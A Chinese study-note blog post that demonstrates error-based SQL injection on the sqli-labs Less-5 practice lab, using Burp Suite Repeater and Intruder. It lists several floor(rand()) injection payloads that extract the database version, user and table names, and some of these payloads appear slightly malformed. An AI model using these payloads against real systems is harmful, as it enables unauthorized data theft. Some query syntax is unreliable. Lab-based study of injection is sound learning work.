(2020上半年第10天)小迪网络安全笔记(操作①)SQL参数报错注入演示

参考网站:
参考①
参看②
材料:sqlilabs第五关+phpstudypro+burpsuite2021
(没学会burpsuite的先去学burpsuite,上节课教程和链接看完,本教程暂不涉及具体软件操作)
好的我们开始
先用burpsuite抓第五关的包发到repeater
效果:
在这里插入图片描述

下一步我们开始注入(注入之后会显示数据库版本)
注意①:
在这里插入图片描述

这里的空格是用20%代替或者中+代替,如果写空格会被误认为换行,
由于‘一般会用27%代替,但是在这里不会被误认则不用修改。
注意②:
如果这里全部变红就证明这里是一个完整地址
在这里插入图片描述

补充:
注入点数据库版本:

GET/sqlilabs/Less-5/?id=1'+and+(select+i+from+(select+count(*),concat(version(),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)--+

注入点数据库权限:

GET/sqlilabs/Less-5/?id=1'+and+(select+i+from+(select+count(*),concat(user(),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)--+

还有一些查询在以前讲过这里也可以用(第七讲函数)
注意:但是报错注入这里没有效果(无回显注入):
例如:http://127.0.0.1/sqlilabs/Less-5/?id=-1’ union select 1,2,3 --+
效果:
在这里插入图片描述

那怎么解决无返回
原:

GET/sqlilabs/Less-5/?id=1'+and+(select+i+from+(select+count(*),concat(user()(把这里改成你要查询的东西就行了),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)--+

改:

GET/sqlilabs/Less-5/?id=1'+and+(select+i+from+(select+count(*),concat(select+table_name+from+information_schema,tables+tableschema=database(),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)--+

那么多表那么多行那怎么查能,我们用limit来控制:
改:

GET/sqlilabs/Less-5/?id=1'+and+(select+i+from+(select+count(*),concat(select+table_name+from+information_schema,tables+tableschema=database()+limit+0,1,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)--+

由于limit改一次才能得到一次的结果(太慢了),我们可以使用burpsuite的inturder来批量输入
我们直接上图:(具体操作不讲)
在这里插入图片描述

变化的地方需要改的用$$括起来,在plyloads设置变化区间变化类型变换范围和起始值等。
效果:
在这里插入图片描述

注意length后面固定的时候就是没有了(913),出这个报错之外,其余两个也是一样的操作

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

.白菜白菜大白菜.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值